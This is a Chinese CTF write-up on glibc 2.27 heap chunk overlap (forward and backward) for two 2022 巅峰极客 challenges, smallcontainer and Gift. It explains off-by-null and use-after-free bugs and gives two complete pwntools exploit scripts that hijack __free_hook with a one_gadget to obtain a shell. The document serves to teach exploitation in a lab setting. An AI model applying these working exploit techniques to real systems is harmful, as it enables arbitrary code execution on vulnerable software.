堆扩展之向上重叠与向下重叠
向上重叠
[巅峰极客 2022]smallcontainer
版本是glibc2.27,对size的检查并不严谨
通过check函数造成的off by null 实现 chunk extend 和 chunk overlap
伪造堆块的prev_size域,进行chunk extend
切割unsortbin,进行chunk overlap
学到的点:
check将\x11变为\x00时会导致chunk的大小变小,需要在chunk尾部布置堆块
free的chunk进入unsortbin时会先检查prev_size域,如果prev_size不为空,就会将本chunk的地址减掉prev_size,得到前一个chunk的首地址,并检查其是否被释放,如下图(第一个chunk是tcache,不算入,chunk编号从0开始)
free+900处,会检查前一个chunk是否被释放,方式是检查其大小与其下一个chunk的prev_size域是否相等,在此处,我是直接释放了伪造的chunk3,没有对其前一个chunk0进行释放,所以这里会跳转到free+2120报错
在对伪造堆块的前一个chunk进行伪造伪造时,我试过对chunk0和chunk1进行释放,chunk0可以,chunk1却不行,因为不太清楚unsortbin的检查机制,所以就调试了一下,为什么chunk1会不行
这里对chunk1的下一个chunk(chunk2)进行inuse的检查,因为chunk2是freed的状态,就会进行下一步检查
检查chunk3的prev_size域,此时chunk3是我们伪造的堆块,其prev_size域大小是0x600,而chunk2是0x200
所以会报错
然后chunk0前后的chunk都是used状态,所以就不会有这些额外的检查,所以总结的一点就是在这种情况下尽量布置堆块前后都没被释放,会避免很多麻烦
exp
最后用one_gadget和system都是可以的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * from pwn import p8,p16,p32,p64,u32,u64 context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e'] local_file = '/home/feichai/ctf_file/service' elf=ELF(local_file) local_libc = elf.libc.path libc=ELF(local_libc, checksec = False)
def start(): if args.GDB: gdbscript = ''' b *$rebase(0x1531) ''' io = process(local_file) gdb.attach(io, gdbscript) elif args.PROCESS: io = process(local_file) else: io = remote("node4.anna.nssctf.cn",28421) return io
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def choice(index): sla('> ',str(index))
def add(size): choice(1) sla('size: ',str(size))
def free(idx): choice(2) sla('index: ',str(idx))
def edit(idx, content): choice(3) sla('index: ',str(idx)) s(content)
def show(idx): choice(4) sla('index: ',str(idx))
def exit_(): choice(5)
def exp():
for i in range(3): add(0x1f8)
add(0x208)
for i in range(7): add(0x1f8)
for i in range(7): free(i+4)
edit(3,b'a'*0x1f0 + p64(0) + p64(0x11)) edit(2,b'a'*0x1f8) edit(2,b'a'*0x1f0 + p64(0x600))
free(0) free(3)
add(0x200) show(0) libc_base = int(r(12),16) - 0x3ec190 lg('libc_base',libc_base)
free_hook = libc_base + libc.symbols['__free_hook'] system_addr = libc_base + libc.symbols['system']
add(0x200) free(0) free(3) edit(1,p64(0)+p64(0x211)+p64(free_hook)) add(0x200) add(0x200)
og = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc] og = og[2] + libc_base edit(3,p64(og)) free(2)
io.interactive()
if __name__=='__main__': exp()
|
向下重叠
[巅峰极客 2022]Gift
漏洞点是uaf和bargain可以输入负数从而修改heap地址
先在第一个堆块中伪造一个fack chunk,要大于0x408 (tcache的最大值)
前面加上0xb0是因为使后面在分割unsortbin的时候能够修改到 fd 指针 (这点不是很重要,不加的话就知道为什么了)
重点是伪造堆块的过程
伪造堆块
首先,在第一个chunk中伪造一个0x421的fack chunk
然后看fack chunk的位置,通过bargain函数将fd指针修改到这
0x330-0x260 = 0xd0 这里要注意tcache存的地址不包括chunk头
1 2 3 4 5 6 7
| add(1,b'a'*0xb0 + p64(0) + p64(0x421)) add(1) add(1)
free(0) free(2) bargain(2, -0xd0)
|
然后就是看fack chunk在哪里结束 0x320 + 0x420 = 0x740
所以我们就需要再申请几个堆块,直到能在0x740这个位置布置堆块
可以看到申请到chunk6时就可以在0x740中写入另一个fack chunk
1 2 3 4
| add(1) add(1) add(1) add(1,b'a'*0x90+p64(0)+p64(0x61))
|
伪造后堆块布局如下,这样我们释放fack chunk的时候就能够绕过检查了
exp
释放后fack chunk进入unsortbin泄露地址,选择malloc(0x60)可以切割unsortbin,然后正常的劫持free_hook为one_gadget即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| from pwn import * from pwn import p8,p16,p32,p64,u32,u64 context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e'] local_file = '/home/feichai/ctf_file/service2' elf=ELF(local_file) local_libc = elf.libc.path libc=ELF(local_libc, checksec = False)
def start(): if args.GDB: gdbscript = ''' b *$rebase(0x001234) ''' io = process(local_file) gdb.attach(io, gdbscript) elif args.PROCESS: io = process(local_file) else: io = remote("node4.anna.nssctf.cn",28814) return io
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
def get_leak(bytes=6): if bytes == 4: return u32(r(4).ljust(4, b'\x00')) else: return u64(r(bytes).ljust(8, b'\x00'))
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a, drop=True) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def choice(index): sla('your choice:',str(index))
def exit(): choice(1)
def add(choose, content=b'aaaa'): choice(2) sla('your choice:',str(choose)) sa('your gift!',content)
def free(idx): choice(3) sla('index?',str(idx))
def show(idx): choice(4) sla('index?',str(idx))
def bargain(idx, num): choice(5) sla('index?',str(idx)) sla('How much?',str(num))
def exp():
add(1,b'a'*0xb0 + p64(0) + p64(0x421)) add(1) add(1)
free(0) free(2) bargain(2, -0xd0)
add(1) add(1) add(1) add(1,b'a'*0x90+p64(0)+p64(0x61))
free(4) show(4) ru(b'cost: ') libc_base = int(ru(b'\n'),10) - 0x3ebca0 lg('libc_base',libc_base) free_hook = libc_base + libc.symbols['__free_hook']
free(0) free(1) add(2, b'a'*0x30 + p64(free_hook-0x10))
og = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc] og = og[2] + libc_base add(1) add(1,p64(og))
free(5) io.interactive()
if __name__=='__main__': exp()
|